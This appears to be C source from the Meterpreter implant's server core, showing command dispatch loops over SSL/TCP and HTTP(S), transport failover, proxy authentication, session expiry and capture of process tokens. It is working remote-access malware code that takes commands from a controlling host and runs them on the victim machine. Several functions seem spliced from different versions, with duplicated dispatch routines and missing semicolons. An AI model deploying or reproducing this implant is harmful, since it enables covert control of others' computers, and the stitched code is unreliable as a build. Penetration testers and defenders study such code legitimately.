/* * The servers main dispatch loop for incoming requests using SSL over TCP */ static DWORD server_dispatch( Remote * remote ) { LONG result = ERROR_SUCCESS; Packet * packet = NULL; THREAD * cpt = NULL; dprintf( "[DISPATCH] entering server_dispatch( 0x%08X )", remote ); // Bring up the scheduler subsystem. result = scheduler_initialize( remote ); if( result != ERROR_SUCCESS ) return result; while( TRUE ) { if( event_poll( serverThread->sigterm, 0 ) ) { dprintf( "[DISPATCH] server dispatch thread signaled to terminate..." ); break; } result = server_socket_poll( remote, 100 ); if( result > 0 ) { result = packet_receive( remote, &packet ); if( result != ERROR_SUCCESS ) { dprintf( "[DISPATCH] packet_receive returned %d, exiting dispatcher...", result ); break; } cpt = thread_create( command_process_thread, remote, packet ); if( cpt ) { dprintf( "[DISPATCH] created command_process_thread 0x%08X, handle=0x%08X", cpt, cpt->handle ); thread_run( cpt ); } } else if( result < 0 ) { dprintf( "[DISPATCH] server_socket_poll returned %d, exiting dispatcher...", result ); break; } } dprintf( "[DISPATCH] calling scheduler_destroy..." ); scheduler_destroy(); dprintf( "[DISPATCH] calling command_join_threads..." ); command_join_threads(); dprintf( "[DISPATCH] leaving server_dispatch." ); return result; }
/*! * @brief The servers main dispatch loop for incoming requests using SSL over TCP * @param remote Pointer to the remote endpoint for this server connection. * @returns Indication of success or failure. */ static BOOL server_dispatch_tcp(Remote * remote, THREAD* dispatchThread) { BOOL running = TRUE; LONG result = ERROR_SUCCESS; Packet *packet = NULL; THREAD *cpt = NULL; dprintf("[DISPATCH] entering server_dispatch( 0x%08X )", remote); // Bring up the scheduler subsystem. result = scheduler_initialize(remote); if (result != ERROR_SUCCESS) { return result; } while (running) { if (event_poll(dispatchThread->sigterm, 0)) { dprintf("[DISPATCH] server dispatch thread signaled to terminate..."); break; } result = server_socket_poll(remote, 500000); if (result > 0) { result = packet_receive_via_ssl(remote, &packet); if (result != ERROR_SUCCESS) { dprintf("[DISPATCH] packet_receive returned %d, exiting dispatcher...", result); break; } running = command_handle(remote, packet); dprintf("[DISPATCH] command_process result: %s", (running ? "continue" : "stop")); } else if (result < 0) { dprintf("[DISPATCH] server_socket_poll returned %d, exiting dispatcher...", result); break; } } dprintf("[DISPATCH] calling scheduler_destroy...") scheduler_destroy(); dprintf("[DISPATCH] calling command_join_threads...") command_join_threads(); dprintf("[DISPATCH] leaving server_dispatch."); return result; }
/* * The servers main dispatch loop for incoming requests using SSL over TCP */ static DWORD server_dispatch_http_wininet( Remote * remote ) { LONG result = ERROR_SUCCESS; Packet * packet = NULL; THREAD * cpt = NULL; URL_COMPONENTS bits; DWORD ecount = 0; DWORD delay = 0; char tmpHostName[512]; char tmpUrlPath[1024]; if (global_expiration_timeout > 0) remote->expiration_time = current_unix_timestamp() + global_expiration_timeout; else remote->expiration_time = 0; remote->comm_timeout = global_comm_timeout; remote->start_time = current_unix_timestamp(); remote->comm_last_packet = current_unix_timestamp(); // Allocate the top-level handle if (!strcmp(global_meterpreter_proxy,"METERPRETER_PROXY")) { remote->hInternet = InternetOpen(global_meterpreter_ua, INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0); } else { remote->hInternet = InternetOpen(global_meterpreter_ua, INTERNET_OPEN_TYPE_PROXY, global_meterpreter_proxy, NULL, 0); } if (!remote->hInternet) { dprintf("[DISPATCH] Failed InternetOpen: %d", GetLastError()); return 0; } dprintf("[DISPATCH] Configured hInternet: 0x%.8x", remote->hInternet); // The InternetCrackUrl method was poorly designed... memset(tmpHostName, 0, sizeof(tmpHostName)); memset(tmpUrlPath, 0, sizeof(tmpUrlPath)); memset(&bits, 0, sizeof(bits)); bits.dwStructSize = sizeof(bits); bits.dwHostNameLength = sizeof(tmpHostName) -1; bits.lpszHostName = tmpHostName; bits.dwUrlPathLength = sizeof(tmpUrlPath) -1; bits.lpszUrlPath = tmpUrlPath; InternetCrackUrl(remote->url, 0, 0, &bits); remote->uri = _strdup(tmpUrlPath); dprintf("[DISPATCH] Configured URL: %s", remote->uri); dprintf("[DISPATCH] Host: %s Port: %u", tmpHostName, bits.nPort); // Allocate the connection handle remote->hConnection = InternetConnect(remote->hInternet, tmpHostName, bits.nPort, NULL, NULL, INTERNET_SERVICE_HTTP, 0, 0); if (!remote->hConnection) { dprintf("[DISPATCH] Failed InternetConnect: %d", GetLastError()); return 0; } dprintf("[DISPATCH] Configured hConnection: 0x%.8x", remote->hConnection); //authentication if (!(strcmp(global_meterpreter_proxy_username, "METERPRETER_USERNAME_PROXY") == 0)) { InternetSetOption(remote->hConnection, INTERNET_OPTION_PROXY_USERNAME, global_meterpreter_proxy_username, (DWORD)strlen(global_meterpreter_proxy_username)+1); InternetSetOption(remote->hConnection, INTERNET_OPTION_PROXY_PASSWORD, global_meterpreter_proxy_password, (DWORD)strlen(global_meterpreter_proxy_password)+1); dprintf("[DISPATCH] Proxy authentication configured : %s/%s", global_meterpreter_proxy_username, global_meterpreter_proxy_password); } // Bring up the scheduler subsystem. result = scheduler_initialize( remote ); if( result != ERROR_SUCCESS ) return result; while( TRUE ) { if (remote->comm_timeout != 0 && remote->comm_last_packet + remote->comm_timeout < current_unix_timestamp()) { dprintf("[DISPATCH] Shutting down server due to communication timeout"); break; } if (remote->expiration_time != 0 && remote->expiration_time < current_unix_timestamp()) { dprintf("[DISPATCH] Shutting down server due to hardcoded expiration time"); dprintf("Timestamp: %u Expiration: %u", current_unix_timestamp(), remote->expiration_time); break; } if( event_poll( serverThread->sigterm, 0 ) ) { dprintf( "[DISPATCH] server dispatch thread signaled to terminate..." ); break; } dprintf("[DISPATCH] Reading data from the remote side..."); result = packet_receive( remote, &packet ); if( result != ERROR_SUCCESS ) { // Update the timestamp for empty replies if (result == ERROR_EMPTY) remote->comm_last_packet = current_unix_timestamp(); if (ecount < 10) delay = 10 * ecount; else delay = 100 * ecount; ecount++; dprintf("[DISPATCH] no pending packets, sleeping for %dms...", min(10000, delay)); Sleep( min(10000, delay) ); continue; } remote->comm_last_packet = current_unix_timestamp(); // Reset the empty count when we receive a packet ecount = 0; dprintf("[DISPATCH] Returned result: %d", result); cpt = thread_create( command_process_thread, remote, packet ); if( cpt ) { dprintf( "[DISPATCH] created command_process_thread 0x%08X, handle=0x%08X", cpt, cpt->handle ); thread_run( cpt ); } } // Close WinInet handles InternetCloseHandle(remote->hConnection); InternetCloseHandle(remote->hInternet); dprintf( "[DISPATCH] calling scheduler_destroy..." ); scheduler_destroy(); dprintf( "[DISPATCH] calling command_join_threads..." ); command_join_threads(); dprintf( "[DISPATCH] leaving server_dispatch." ); return result; }
/*! * @brief Setup and run the server. This is called from Init via the loader. * @param fd The original socket descriptor passed in from the stager, or a pointer to stageless extensions. * @return Meterpreter exit code (ignored by the caller). */ DWORD server_setup(MetsrvConfig* config) { THREAD* serverThread = NULL; Remote* remote = NULL; char stationName[256] = { 0 }; char desktopName[256] = { 0 }; DWORD res = 0; dprintf("[SERVER] Initializing from configuration: 0x%p", config); dprintf("[SESSION] Comms Fd: %u", config->session.comms_fd); dprintf("[SESSION] Expiry: %u", config->session.expiry); dprintf("[SERVER] UUID: %02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x", config->session.uuid[0], config->session.uuid[1], config->session.uuid[2], config->session.uuid[3], config->session.uuid[4], config->session.uuid[5], config->session.uuid[6], config->session.uuid[7], config->session.uuid[8], config->session.uuid[9], config->session.uuid[10], config->session.uuid[11], config->session.uuid[12], config->session.uuid[13], config->session.uuid[14], config->session.uuid[15]); // if hAppInstance is still == NULL it means that we havent been // reflectivly loaded so we must patch in the hAppInstance value // for use with loading server extensions later. InitAppInstance(); srand((unsigned int)time(NULL)); __try { do { dprintf("[SERVER] module loaded at 0x%08X", hAppInstance); // Open a THREAD item for the servers main thread, we use this to manage migration later. serverThread = thread_open(); dprintf("[SERVER] main server thread: handle=0x%08X id=0x%08X sigterm=0x%08X", serverThread->handle, serverThread->id, serverThread->sigterm); if (!(remote = remote_allocate())) { SetLastError(ERROR_NOT_ENOUGH_MEMORY); break; } setup_ssl_lib(&remote->ssl); remote->orig_config = config; remote->sess_expiry_time = config->session.expiry; remote->sess_start_time = current_unix_timestamp(); remote->sess_expiry_end = remote->sess_start_time + config->session.expiry; dprintf("[DISPATCH] Session going for %u seconds from %u to %u", remote->sess_expiry_time, remote->sess_start_time, remote->sess_expiry_end); DWORD transportSize = 0; if (!create_transports(remote, config->transports, &transportSize)) { // not good, bail out! SetLastError(ERROR_BAD_ARGUMENTS); break; } // the first transport should match the transport that we initially connected on. // If it's TCP comms, we need to wire that up. if (remote->transport->type == METERPRETER_TRANSPORT_SSL && config->session.comms_fd) { ((TcpTransportContext*)remote->transport->ctx)->fd = (SOCKET)config->session.comms_fd; } // Set up the transport creation function pointer remote->trans_create = create_transport; // Set up the transport removal function pointer remote->trans_remove = remove_transport; // and the config creation pointer remote->config_create = config_create; // Store our thread handle remote->server_thread = serverThread->handle; dprintf("[SERVER] Registering dispatch routines..."); register_dispatch_routines(); // this has to be done after dispatch routine are registered load_stageless_extensions(remote, (MetsrvExtension*)((LPBYTE)config->transports + transportSize)); // Store our process token if (!OpenThreadToken(remote->server_thread, TOKEN_ALL_ACCESS, TRUE, &remote->server_token)) { OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &remote->server_token); } if (scheduler_initialize(remote) != ERROR_SUCCESS) { SetLastError(ERROR_BAD_ENVIRONMENT); break; } // Copy it to the thread token remote->thread_token = remote->server_token; // Save the initial session/station/desktop names... remote->orig_sess_id = server_sessionid(); remote->curr_sess_id = remote->orig_sess_id; GetUserObjectInformation(GetProcessWindowStation(), UOI_NAME, &stationName, 256, NULL); remote->orig_station_name = _strdup(stationName); remote->curr_station_name = _strdup(stationName); GetUserObjectInformation(GetThreadDesktop(GetCurrentThreadId()), UOI_NAME, &desktopName, 256, NULL); remote->orig_desktop_name = _strdup(desktopName); remote->curr_desktop_name = _strdup(desktopName); remote->sess_start_time = current_unix_timestamp(); // loop through the transports, reconnecting each time. while (remote->transport) { if (remote->transport->transport_init) { dprintf("[SERVER] attempting to initialise transport 0x%p", remote->transport); // Each transport has its own set of retry settings and each should honour // them individually. if (!remote->transport->transport_init(remote->transport)) { dprintf("[SERVER] transport initialisation failed, moving to the next transport"); remote->transport = remote->transport->next_transport; // when we have a list of transports, we'll iterate to the next one. continue; } } dprintf("[SERVER] Entering the main server dispatch loop for transport %x, context %x", remote->transport, remote->transport->ctx); DWORD dispatchResult = remote->transport->server_dispatch(remote, serverThread); dprintf("[DISPATCH] dispatch exited with result: %u", dispatchResult); if (remote->transport->transport_deinit) { dprintf("[DISPATCH] deinitialising transport"); remote->transport->transport_deinit(remote->transport); } dprintf("[TRANS] resetting transport"); if (remote->transport->transport_reset) { remote->transport->transport_reset(remote->transport, dispatchResult == ERROR_SUCCESS && remote->next_transport == NULL); } // If the transport mechanism failed, then we should loop until we're able to connect back again. if (dispatchResult == ERROR_SUCCESS) { dprintf("[DISPATCH] Server requested shutdown of dispatch"); // But if it was successful, and this is a valid exit, then we should clean up and leave. if (remote->next_transport == NULL) { dprintf("[DISPATCH] No next transport specified, leaving"); // we weren't asked to switch transports, so we exit. break; } // we need to change transports to the one we've been given. We will assume, for now, // that the transport has been created using the appropriate functions and that it is // part of the transport list. dprintf("[TRANS] Moving transport from 0x%p to 0x%p", remote->transport, remote->next_transport); remote->transport = remote->next_transport; remote->next_transport = NULL; } else { // move to the next one in the list dprintf("[TRANS] Moving transport from 0x%p to 0x%p", remote->transport, remote->transport->next_transport); remote->transport = remote->transport->next_transport; } // transport switching and failover both need to support the waiting functionality. if (remote->next_transport_wait > 0) { dprintf("[TRANS] Sleeping for %u seconds ...", remote->next_transport_wait); sleep(remote->next_transport_wait); // the wait is a once-off thing, needs to be reset each time remote->next_transport_wait = 0; } } // clean up the transports while (remote->transport) { remove_transport(remote, remote->transport); } dprintf("[SERVER] Deregistering dispatch routines..."); deregister_dispatch_routines(remote); } while (0); dprintf("[DISPATCH] calling scheduler_destroy..."); scheduler_destroy(); dprintf("[DISPATCH] calling command_join_threads..."); command_join_threads(); remote_deallocate(remote); } __except (exceptionfilter(GetExceptionCode(), GetExceptionInformation())) { dprintf("[SERVER] *** exception triggered!"); thread_kill(serverThread); } dprintf("[SERVER] Finished."); return res; }
BOOL server_init_http_winhttp(Remote* remote, SOCKET fd) { URL_COMPONENTS bits; wchar_t tmpHostName[512]; wchar_t tmpUrlPath[1024]; HttpTransportContext* ctx = (HttpTransportContext*)remote->transport->ctx; dprintf("[WINHTTP] Initialising ..."); // configure proxy if (ctx->proxy && wcscmp(ctx->proxy, L"METERPRETER_PROXY") != 0) { dprintf("[DISPATCH] Configuring with proxy: %S", ctx->proxy); ctx->internet = WinHttpOpen(ctx->ua, WINHTTP_ACCESS_TYPE_NAMED_PROXY, ctx->proxy, WINHTTP_NO_PROXY_BYPASS, 0); } else { ctx->internet = WinHttpOpen(ctx->ua, WINHTTP_ACCESS_TYPE_DEFAULT_PROXY, WINHTTP_NO_PROXY_NAME, WINHTTP_NO_PROXY_BYPASS, 0); } if (!ctx->internet) { dprintf("[DISPATCH] Failed WinHttpOpen: %d", GetLastError()); return FALSE; } dprintf("[DISPATCH] Configured hInternet: 0x%.8x", ctx->internet); // The InternetCrackUrl method was poorly designed... ZeroMemory(tmpHostName, sizeof(tmpHostName)); ZeroMemory(tmpUrlPath, sizeof(tmpUrlPath)); ZeroMemory(&bits, sizeof(bits)); bits.dwStructSize = sizeof(bits); bits.dwHostNameLength = HOSTNAME_LEN - 1; bits.lpszHostName = tmpHostName; bits.dwUrlPathLength = URLPATH_LEN - 1; bits.lpszUrlPath = tmpUrlPath; dprintf("[DISPATCH] About to crack URL: %S", remote->transport->url); WinHttpCrackUrl(remote->transport->url, 0, 0, &bits); ctx->uri = _wcsdup(tmpUrlPath); dprintf("[DISPATCH] Configured URI: %S", ctx->uri); dprintf("[DISPATCH] Host: %S Port: %u", tmpHostName, bits.nPort); // Allocate the connection handle ctx->connection = WinHttpConnect(ctx->internet, tmpHostName, bits.nPort, 0); if (!ctx->connection) { dprintf("[DISPATCH] Failed WinHttpConnect: %d", GetLastError()); return FALSE; } dprintf("[DISPATCH] Configured hConnection: 0x%.8x", ctx->connection); // Bring up the scheduler subsystem. return scheduler_initialize(remote) == ERROR_SUCCESS; }